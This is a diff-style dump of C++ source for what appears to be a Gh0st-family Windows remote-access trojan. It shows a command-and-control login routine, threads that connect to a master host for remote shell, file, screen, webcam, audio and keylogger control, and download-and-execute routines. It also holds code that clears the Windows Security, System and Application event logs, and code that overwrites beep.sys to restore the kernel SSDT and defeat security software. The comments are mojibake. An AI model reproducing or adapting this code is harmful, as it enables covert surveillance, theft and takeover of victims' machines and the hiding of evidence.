hFile = InternetOpenUrl(hNet, lpURL, NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD, 0);
|
||||
if (hFile == NULL)
|
||||
return bRet;
|
||||
|
||||
do
|
||||
{
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
InternetReadFile(hFile, buffer, sizeof(buffer), &dwBytesRead);
|
||||
|
||||
if ((pStart = strstr(buffer, "AAAA")) == NULL)
|
||||
continue;
|
||||
pStart += 4;
|
||||
if ((pEnd = strstr(pStart, "AAAA")) == NULL)
|
||||
continue;
|
||||
|
||||
memset(strEncode, 0, sizeof(strEncode));
|
||||
memcpy(strEncode, pStart, pEnd - pStart);
|
||||
|
||||
char *lpDecodeString = MyDecode(strEncode);
|
||||
|
||||
SplitLoginInfo(lpDecodeString, lppszHost, lppPort, lppszProxyHost, lppProxyPort, lppszProxyUser, lppszProxyPass);
|
||||
bRet = true;
|
||||
} while (dwBytesRead > 0);
|
||||
|
||||
InternetCloseHandle(hFile);
|
||||
InternetCloseHandle(hNet);
|
||||
|
||||
return bRet;
|
||||
}
|
||||
|
||||
|
||||
// Get System Information
|
||||
DWORD CPUClockMhz()
|
||||
{
|
||||
HKEY hKey;
|
||||
DWORD dwCPUMhz;
|
||||
DWORD dwBytes = sizeof(DWORD);
|
||||
DWORD dwType = REG_DWORD;
|
||||
RegOpenKey(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", &hKey);
|
||||
RegQueryValueEx(hKey, "~MHz", NULL, &dwType, (PBYTE)&dwCPUMhz, &dwBytes);
|
||||
RegCloseKey(hKey);
|
||||
return dwCPUMhz;
|
||||
}
|
||||
|
||||
bool IsWebCam()
|
||||
{
|
||||
bool bRet = false;
|
||||
|
||||
char lpszName[100], lpszVer[50];
|
||||
for (int i = 0; i < 10 && !bRet; i++)
|
||||
{
|
||||
bRet = capGetDriverDescription(i, lpszName, sizeof(lpszName),
|
||||
lpszVer, sizeof(lpszVer));
|
||||
}
|
||||
return bRet;
|
||||
}
|
||||
|
||||
UINT GetHostRemark(LPCTSTR lpServiceName, LPTSTR lpBuffer, UINT uSize)
|
||||
{
|
||||
char strSubKey[1024];
|
||||
memset(lpBuffer, 0, uSize);
|
||||
memset(strSubKey, 0, sizeof(strSubKey));
|
||||
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
ReadRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpBuffer, NULL, uSize, 0);
|
||||
|
||||
if (lstrlen(lpBuffer) == 0)
|
||||
gethostname(lpBuffer, uSize);
|
||||
|
||||
return lstrlen(lpBuffer);
|
||||
}
|
||||
|
||||
int sendLoginInfo(LPCTSTR strServiceName, CClientSocket *pClient, DWORD dwSpeed)
|
||||
{
|
||||
int nRet = SOCKET_ERROR;
|
||||
// <20><>¼<EFBFBD><C2BC>Ϣ
|
||||
LOGININFO LoginInfo;
|
||||
// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
LoginInfo.bToken = TOKEN_LOGIN; // <20><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>¼
|
||||
LoginInfo.bIsWebCam = 0; //û<><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
LoginInfo.OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
|
||||
GetVersionEx((OSVERSIONINFO *)&LoginInfo.OsVerInfoEx); // ע<><D7A2>ת<EFBFBD><D7AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// IP<49><50>Ϣ
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char hostname[256];
|
||||
GetHostRemark(strServiceName, hostname, sizeof(hostname));
|
||||
|
||||
// <20><><EFBFBD>ӵ<EFBFBD>IP<49><50>ַ
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||
int nSockAddrLen = sizeof(sockAddr);
|
||||
getsockname(pClient->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||
|
||||
|
||||
memcpy(&LoginInfo.IPAddress, (void *)&sockAddr.sin_addr, sizeof(IN_ADDR));
|
||||
memcpy(&LoginInfo.HostName, hostname, sizeof(LoginInfo.HostName));
|
||||
// CPU
|
||||
LoginInfo.CPUClockMhz = CPUClockMhz();
|
||||
LoginInfo.bIsWebCam = IsWebCam();
|
||||
|
||||
// Speed
|
||||
LoginInfo.dwSpeed = dwSpeed;
|
||||
|
||||
nRet = pClient->Send((LPBYTE)&LoginInfo, sizeof(LOGININFO));
|
||||
|
||||
return nRet;
|
||||
}
|
||||
255
CcMainDll/CcMainDll/common/loop.h
Normal file
255
CcMainDll/CcMainDll/common/loop.h
Normal file
@@ -0,0 +1,255 @@
|
||||
#if !defined(AFX_LOOP_H_INCLUDED)
|
||||
#define AFX_LOOP_H_INCLUDED
|
||||
#include "KernelManager.h"
|
||||
#include "FileManager.h"
|
||||
#include "ScreenManager.h"
|
||||
#include "ShellManager.h"
|
||||
#include "VideoManager.h"
|
||||
#include "AudioManager.h"
|
||||
#include "SystemManager.h"
|
||||
#include "KeyboardManager.h"
|
||||
#include "until.h"
|
||||
#include "install.h"
|
||||
#include <wininet.h>
|
||||
|
||||
extern bool g_bSignalHook;
|
||||
|
||||
DWORD WINAPI Loop_FileManager(SOCKET sRemote)
|
||||
{
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><D7BD><EFBFBD><EFBFBD><EFBFBD>
|
||||
CClientSocket socketClient;
|
||||
//<2F><><EFBFBD><EFBFBD>
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1; //<2F><><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD>
|
||||
//---<2D><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD> CManager Ҳ<><D2B2><EFBFBD><EFBFBD>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݽ<EFBFBD><DDBD>պ<EFBFBD><D5BA>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD> CFileManager::OnReceive
|
||||
CFileManager manager(&socketClient);
|
||||
socketClient.run_event_loop(); //---<2D>ȴ<EFBFBD><C8B4>߳̽<DFB3><CCBD><EFBFBD>
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI Loop_ShellManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CShellManager manager(&socketClient);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CScreenManager manager(&socketClient);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
return 0;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>ͬһ<CDAC>̵߳<DFB3><CCB5><EFBFBD>sendDIB<49><42><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
DWORD WINAPI Loop_VideoManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
CVideoManager manager(&socketClient);
|
||||
socketClient.run_event_loop();
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
DWORD WINAPI Loop_AudioManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
CAudioManager manager(&socketClient);
|
||||
socketClient.run_event_loop();
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI Loop_HookKeyboard(LPARAM lparam)
|
||||
{
|
||||
char strKeyboardOfflineRecord[MAX_PATH];
|
||||
GetSystemDirectory(strKeyboardOfflineRecord, sizeof(strKeyboardOfflineRecord));
|
||||
lstrcat(strKeyboardOfflineRecord, "\\syslog.dat");
|
||||
|
||||
if (GetFileAttributes(strKeyboardOfflineRecord) != -1)
|
||||
g_bSignalHook = true;
|
||||
else
|
||||
g_bSignalHook = false;
|
||||
|
||||
while (1)
|
||||
{
|
||||
while (g_bSignalHook == false)Sleep(100);
|
||||
CKeyboardManager::StartHook();
|
||||
while (g_bSignalHook == true)Sleep(100);
|
||||
CKeyboardManager::StopHook();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI Loop_KeyboardManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CKeyboardManager manager(&socketClient);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD>̱<EFBFBD><CCB1><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
DWORD WINAPI Loop_SystemManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CSystemManager manager(&socketClient, COMMAND_SYSTEM);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>̻߳ص<CCBB><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
DWORD WINAPI Loop_WindowManager(SOCKET sRemote)
|
||||
{
|
||||
CClientSocket socketClient;
|
||||
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
|
||||
return -1;
|
||||
|
||||
CSystemManager manager(&socketClient, COMMAND_WSLIST);
|
||||
|
||||
socketClient.run_event_loop();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
DWORD WINAPI Loop_DownManager(LPVOID lparam)
|
||||
{
|
||||
int nUrlLength;
|
||||
char *lpURL = NULL;
|
||||
char *lpFileName = NULL;
|
||||
nUrlLength = strlen((char *)lparam);
|
||||
if (nUrlLength == 0)
|
||||
return false;
|
||||
|
||||
lpURL = (char *)malloc(nUrlLength + 1);
|
||||
|
||||
memcpy(lpURL, lparam, nUrlLength + 1);
|
||||
|
||||
lpFileName = strrchr(lpURL, '/') + 1;
|
||||
if (lpFileName == NULL)
|
||||
return false;
|
||||
|
||||
if (!http_get(lpURL, lpFileName))
|
||||
{
|
||||
return false;
|
||||
}
|
||||
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi;
|
||||
si.cb = sizeof si;
|
||||
char c_lpDesktop[] = "WinSta0\\Default";
|
||||
si.lpDesktop = TEXT("WinSta0\\Default");
|
||||
CreateProcess(NULL, lpFileName, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>urldowntofile<6C>Ļ<EFBFBD><C4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ῠ<EFBFBD><E1BFA8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool UpdateServer(LPCTSTR lpURL)
|
||||
{
|
||||
char *lpFileName = NULL;
|
||||
|
||||
lpFileName = (char *)(strrchr(lpURL, '/') + 1);
|
||||
if (lpFileName == NULL)
|
||||
return false;
|
||||
if (!http_get(lpURL, lpFileName))
|
||||
return false;
|
||||
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi;
|
||||
si.cb = sizeof si;
|
||||
si.lpDesktop = "WinSta0\\Default";
|
||||
return CreateProcess(lpFileName, "Gh0st Update", NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||
}
|
||||
|
||||
|
||||
bool OpenURL(LPCTSTR lpszURL, INT nShowCmd)
|
||||
{
|
||||
if (strlen(lpszURL) == 0)
|
||||
return false;
|
||||
|
||||
// System Ȩ<><C8A8><EFBFBD>²<EFBFBD><C2B2><EFBFBD>ֱ<EFBFBD><D6B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>shellexecute<74><65>ִ<EFBFBD><D6B4>
|
||||
char *lpSubKey = "Applications\\iexplore.exe\\shell\\open\\command";
|
||||
HKEY hKey;
|
||||
char strIEPath[MAX_PATH];
|
||||
LONG nSize = sizeof(strIEPath);
|
||||
char *lpstrCat = NULL;
|
||||
memset(strIEPath, 0, sizeof(strIEPath));
|
||||
|
||||
if (RegOpenKeyEx(HKEY_CLASSES_ROOT, lpSubKey, 0L, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS)
|
||||
return false;
|
||||
RegQueryValue(hKey, NULL, strIEPath, &nSize);
|
||||
RegCloseKey(hKey);
|
||||
|
||||
if (lstrlen(strIEPath) == 0)
|
||||
return false;
|
||||
|
||||
lpstrCat = strstr(strIEPath, "%1");
|
||||
if (lpstrCat == NULL)
|
||||
return false;
|
||||
|
||||
lstrcpy(lpstrCat, lpszURL);
|
||||
|
||||
STARTUPINFO si = {0};
|
||||
PROCESS_INFORMATION pi;
|
||||
si.cb = sizeof si;
|
||||
if (nShowCmd != SW_HIDE)
|
||||
si.lpDesktop = "WinSta0\\Default";
|
||||
|
||||
CreateProcess(NULL, strIEPath, NULL, NULL, false, 0, NULL, NULL, &si, &pi);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void CleanEvent()
|
||||
{
|
||||
char *strEventName[] = {"Application", "Security", "System"};
|
||||
|
||||
for (int i = 0; i < sizeof(strEventName) / sizeof(int); i++)
|
||||
{
|
||||
HANDLE hHandle = OpenEventLog(NULL, strEventName[i]);
|
||||
if (hHandle == NULL)
|
||||
continue;
|
||||
ClearEventLog(hHandle, NULL);
|
||||
CloseEventLog(hHandle);
|
||||
}
|
||||
}
|
||||
|
||||
void SetHostID(LPCTSTR lpServiceName, LPCTSTR lpHostID)
|
||||
{
|
||||
char strSubKey[1024];
|
||||
memset(strSubKey, 0, sizeof(strSubKey));
|
||||
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "Host", REG_SZ, (char *)lpHostID, lstrlen(lpHostID), 0);
|
||||
}
|
||||
|
||||
|
||||
#endif // !defined(AFX_LOOP_H_INCLUDED)
|
||||
436
CcMainDll/CcMainDll/common/resetssdt.h
Normal file
436
CcMainDll/CcMainDll/common/resetssdt.h
Normal file
@@ -0,0 +1,436 @@
|
||||
#include <windows.h>
|
||||
#include <shlwapi.h>
|
||||
#include <winioctl.h>
|
||||
#include "resource.h"
|
||||
#define IOCTL_SETPROC (ULONG)CTL_CODE( FILE_DEVICE_UNKNOWN, 0x852, METHOD_NEITHER, FILE_READ_DATA | FILE_WRITE_DATA )
|
||||
|
||||
#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))
|
||||
#define ibaseDD *(PDWORD)&ibase
|
||||
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
|
||||
typedef struct {
|
||||
WORD offset:12;
|
||||
WORD type:4;
|
||||
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
|
||||
|
||||
typedef LONG NTSTATUS;
|
||||
|
||||
typedef NTSTATUS (WINAPI *PFNNtQuerySystemInformation)(
|
||||
DWORD SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength,
|
||||
PULONG ReturnLength
|
||||
);
|
||||
|
||||
typedef struct _SYSTEM_MODULE_INFORMATION {//Information Class 11
|
||||
ULONG Reserved[2];
|
||||
PVOID Base;
|
||||
ULONG Size;
|
||||
ULONG Flags;
|
||||
USHORT Index;
|
||||
USHORT Unknown;
|
||||
USHORT LoadCount;
|
||||
USHORT ModuleNameOffset;
|
||||
CHAR ImageName[256];
|
||||
}SYSTEM_MODULE_INFORMATION,*PSYSTEM_MODULE_INFORMATION;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwNumberOfModules;
|
||||
SYSTEM_MODULE_INFORMATION smi;
|
||||
} MODULES, *PMODULES;
|
||||
|
||||
|
||||
//----------------------------------------------------------------
|
||||
// stuff not found in header files
|
||||
//----------------------------------------------------------------
|
||||
typedef struct _UNICODE_STRING {
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
#ifdef MIDL_PASS
|
||||
[size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;
|
||||
#else // MIDL_PASS
|
||||
PWSTR Buffer;
|
||||
#endif // MIDL_PASS
|
||||
} UNICODE_STRING, *PUNICODE_STRING;
|
||||
|
||||
typedef long NTSTATUS;
|
||||
|
||||
#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
|
||||
|
||||
typedef
|
||||
NTSTATUS
|
||||
(__stdcall *ZWSETSYSTEMINFORMATION)(
|
||||
DWORD SystemInformationClass,
|
||||
PVOID SystemInformation,
|
||||
ULONG SystemInformationLength
|
||||
);
|
||||
|
||||
typedef
|
||||
VOID
|
||||
(__stdcall *RTLINITUNICODESTRING)(
|
||||
PUNICODE_STRING DestinationString,
|
||||
PCWSTR SourceString
|
||||
);
|
||||
|
||||
ZWSETSYSTEMINFORMATION ZwSetSystemInformation;
|
||||
RTLINITUNICODESTRING RtlInitUnicodeString;
|
||||
|
||||
typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE
|
||||
{
|
||||
UNICODE_STRING ModuleName;
|
||||
} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;
|
||||
|
||||
#define SystemLoadAndCallImage 38
|
||||
|
||||
|
||||
char g_strService[10]; // "Beep"
|
||||
char g_strBeepSys[MAX_PATH]; // "c:\\windows\\system32\\Drivers\\beep.sys"
|
||||
LPBYTE g_lpBeepSys = NULL;
|
||||
DWORD g_dwBeepLen = 0;
|
||||
|
||||
BOOL ModifyFromResource(HMODULE hModule, WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName)
|
||||
{
|
||||
HGLOBAL hRes;
|
||||
HRSRC hResInfo;
|
||||
HANDLE hFile;
|
||||
DWORD dwBytes = 0;
|
||||
hResInfo = FindResource(hModule, MAKEINTRESOURCE(wResourceID), lpType);
|
||||
if (hResInfo == NULL)
|
||||
return FALSE;
|
||||
hRes = LoadResource(hModule, hResInfo);
|
||||
if (hRes == NULL)
|
||||
return FALSE;
|
||||
hFile = CreateFile
|
||||
(
|
||||
lpFileName,
|
||||
GENERIC_WRITE,
|
||||
FILE_SHARE_WRITE,
|
||||
NULL,
|
||||
TRUNCATE_EXISTING,
|
||||
FILE_ATTRIBUTE_NORMAL,
|
||||
NULL
|
||||
);
|
||||
|
||||
if (hFile == NULL)
|
||||
return FALSE;
|
||||
|
||||
WriteFile(hFile, hRes, SizeofResource(hModule, hResInfo), &dwBytes, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
BOOL SetProc( IN HANDLE hDriver, IN ULONG ulIndex, IN PULONG buf )
|
||||
{
|
||||
if ( NULL == buf )
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
DWORD dwReturned;
|
||||
BOOL bRet = DeviceIoControl( hDriver, IOCTL_SETPROC, &ulIndex,sizeof( ULONG ), buf, sizeof( ULONG ), &dwReturned, NULL );
|
||||
return bRet && ERROR_SUCCESS == GetLastError();
|
||||
}
|
||||
|
||||
|
||||
DWORD GetHeaders(PCHAR ibase,
|
||||
PIMAGE_FILE_HEADER *pfh,
|
||||
PIMAGE_OPTIONAL_HEADER *poh,
|
||||
PIMAGE_SECTION_HEADER *psh)
|
||||
|
||||
{
|
||||
PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;
|
||||
|
||||
if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE) ||
|
||||
(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE))
|
||||
return FALSE;
|
||||
|
||||
*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];
|
||||
if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE)
|
||||
return FALSE;
|
||||
*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));
|
||||
|
||||
*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));
|
||||
if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC)
|
||||
return FALSE;
|
||||
|
||||
*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT)
|
||||
{
|
||||
PIMAGE_FILE_HEADER pfh;
|
||||
PIMAGE_OPTIONAL_HEADER poh;
|
||||
PIMAGE_SECTION_HEADER psh;
|
||||
PIMAGE_BASE_RELOCATION pbr;
|
||||
PIMAGE_FIXUP_ENTRY pfe;
|
||||
|
||||
DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;
|
||||
BOOL bFirstChunk;
|
||||
|
||||
GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);
|
||||
|
||||
// loop thru relocs to speed up the search
|
||||
if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&
|
||||
(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {
|
||||
|
||||
pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);
|
||||
|
||||
bFirstChunk=TRUE;
|
||||
// 1st IMAGE_BASE_RELOCATION.VirtualAddress of ntoskrnl is 0
|
||||
while (bFirstChunk || pbr->VirtualAddress) {
|
||||
bFirstChunk=FALSE;
|
||||
|
||||
pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));
|
||||
|
||||
for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {
|
||||
if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {
|
||||
dwFixups++;
|
||||
dwPointerRva=pbr->VirtualAddress+pfe->offset;
|
||||
// DONT_RESOLVE_DLL_REFERENCES flag means relocs aren't fixed
|
||||
dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;
|
||||
|
||||
// does this reloc point to KeServiceDescriptorTable.Base?
|
||||
if (dwPointsToRva==dwKSDT) {
|
||||
// check for mov [mem32],imm32. we are trying to find
|
||||
// "mov ds:_KeServiceDescriptorTable.Base, offset _KiServiceTable"
|
||||
// from the KiInitSystem.
|
||||
if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7) {
|
||||
// should check for a reloc presence on KiServiceTable here
|
||||
// but forget it
|
||||
dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;
|
||||
return dwKiServiceTable;
|
||||
}
|
||||
}
|
||||
|
||||
} else
|
||||
if (pfe->type!=IMAGE_REL_BASED_ABSOLUTE)
|
||||
{
|
||||
// should never get here
|
||||
// printf("\trelo type %d found at .%X\n",pfe->type,pbr->VirtualAddress+pfe->offset);
|
||||
}
|
||||
}
|
||||
*(PDWORD)&pbr+=pbr->SizeOfBlock;
|
||||
}
|
||||
}
|
||||
|
||||
//if (!dwFixups)
|
||||
// should never happen - nt, 2k, xp kernels have relocation data
|
||||
// printf("No fixups!\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
void ReSSDT( IN HANDLE hDriver)
|
||||
{
|
||||
HMODULE hKernel;
|
||||
DWORD dwKSDT; // rva of KeServiceDescriptorTable
|
||||
DWORD dwKiServiceTable; // rva of KiServiceTable
|
||||
PMODULES pModules=(PMODULES)&pModules;
|
||||
DWORD dwNeededSize,rc;
|
||||
DWORD dwKernelBase,dwServices=0;
|
||||
PCHAR pKernelName;
|
||||
PDWORD pService;
|
||||
PIMAGE_FILE_HEADER pfh;
|
||||
PIMAGE_OPTIONAL_HEADER poh;
|
||||
PIMAGE_SECTION_HEADER psh;
|
||||
|
||||
|
||||
FARPROC NtQuerySystemInformationAddr=GetProcAddress(GetModuleHandle("ntdll.dll"),"NtQuerySystemInformation");
|
||||
// get system modules - ntoskrnl is always first there
|
||||
rc=((PFNNtQuerySystemInformation)NtQuerySystemInformationAddr)(11,pModules,4,&dwNeededSize);
|
||||
if (rc==STATUS_INFO_LENGTH_MISMATCH) {
|
||||
pModules=(MODULES *)GlobalAlloc(GPTR,dwNeededSize);
|
||||
rc=((PFNNtQuerySystemInformation)NtQuerySystemInformationAddr)(11,pModules,dwNeededSize,NULL);
|
||||
} else {
|
||||
strange:
|
||||
return;
|
||||
}
|
||||
if (!NT_SUCCESS(rc)) goto strange;
|
||||
|
||||
// imagebase
|
||||
dwKernelBase=(DWORD)pModules->smi.Base;
|
||||
// filename - it may be renamed in the boot.ini
|
||||
pKernelName=pModules->smi.ModuleNameOffset+pModules->smi.ImageName;
|
||||
|
||||
// map ntoskrnl - hopefully it has relocs
|
||||
hKernel=LoadLibraryEx(pKernelName,0,DONT_RESOLVE_DLL_REFERENCES);
|
||||
if (!hKernel) {
|
||||
return;
|
||||
}
|
||||
|
||||
GlobalFree(pModules);
|
||||
|
||||
// our own export walker is useless here - we have GetProcAddress :)
|
||||
if (!(dwKSDT=(DWORD)GetProcAddress(hKernel,"KeServiceDescriptorTable"))) {
|
||||
return;
|
||||
}
|
||||
|
||||
// get KeServiceDescriptorTable rva
|
||||
dwKSDT-=(DWORD)hKernel;
|
||||
// find KiServiceTable
|
||||
if (!(dwKiServiceTable=FindKiServiceTable(hKernel,dwKSDT))) {
|
||||
return;
|
||||
}
|
||||
|
||||
// let's dump KiServiceTable contents
|
||||
|
||||
// MAY FAIL!!!
|
||||
// should get right ServiceLimit here, but this is trivial in the kernel mode
|
||||
GetHeaders((PCHAR)hKernel,&pfh,&poh,&psh);
|
||||
|
||||
for (pService=(PDWORD)((DWORD)hKernel+dwKiServiceTable);
|
||||
*pService-poh->ImageBase<poh->SizeOfImage;
|
||||
pService++,dwServices++)
|
||||
{
|
||||
ULONG ulAddr=*pService-poh->ImageBase+dwKernelBase;
|
||||
SetProc( hDriver,dwServices, &ulAddr );
|
||||
}
|
||||
|
||||
FreeLibrary(hKernel);
|
||||
|
||||
}
|
||||
|
||||
void StopService(LPCTSTR lpServiceName)
|
||||
{
|
||||
|
||||
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
|
||||
if ( NULL != hSCManager )
|
||||
{
|
||||
SC_HANDLE hService = OpenService(hSCManager, lpServiceName, DELETE | SERVICE_STOP);
|
||||
if ( NULL != hService )
|
||||
{
|
||||
SERVICE_STATUS ss;
|
||||
ControlService( hService, SERVICE_CONTROL_STOP, &ss);
|
||||
CloseServiceHandle( hService );
|
||||
}
|
||||
CloseServiceHandle( hSCManager );
|
||||
}
|
||||
}
|
||||
|
||||
void StartService(LPCTSTR lpService)
|
||||
{
|
||||
SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
|
||||
if ( NULL != hSCManager )
|
||||
{
|
||||
SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
|
||||
if ( NULL != hService )
|
||||
{
|
||||
StartService(hService, 0, NULL);
|
||||
CloseServiceHandle( hService );
|
||||
}
|
||||
CloseServiceHandle( hSCManager );
|
||||
}
|
||||
}
|
||||
|
||||
LPBYTE FileToBuffer(LPCTSTR lpFileName, LPDWORD lpdwLength)
|
||||
{
|
||||
if (lpdwLength == NULL)
|
||||
return NULL;
|
||||
DWORD dwBytesRead = 0;
|
||||
HANDLE hFile = CreateFile(lpFileName, GENERIC_READ, FILE_SHARE_READ, NULL,
|
||||
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
return NULL;
|
||||
|
||||
*lpdwLength = GetFileSize(hFile, NULL);
|
||||
if (*lpdwLength == 0)
|
||||
return NULL;
|
||||
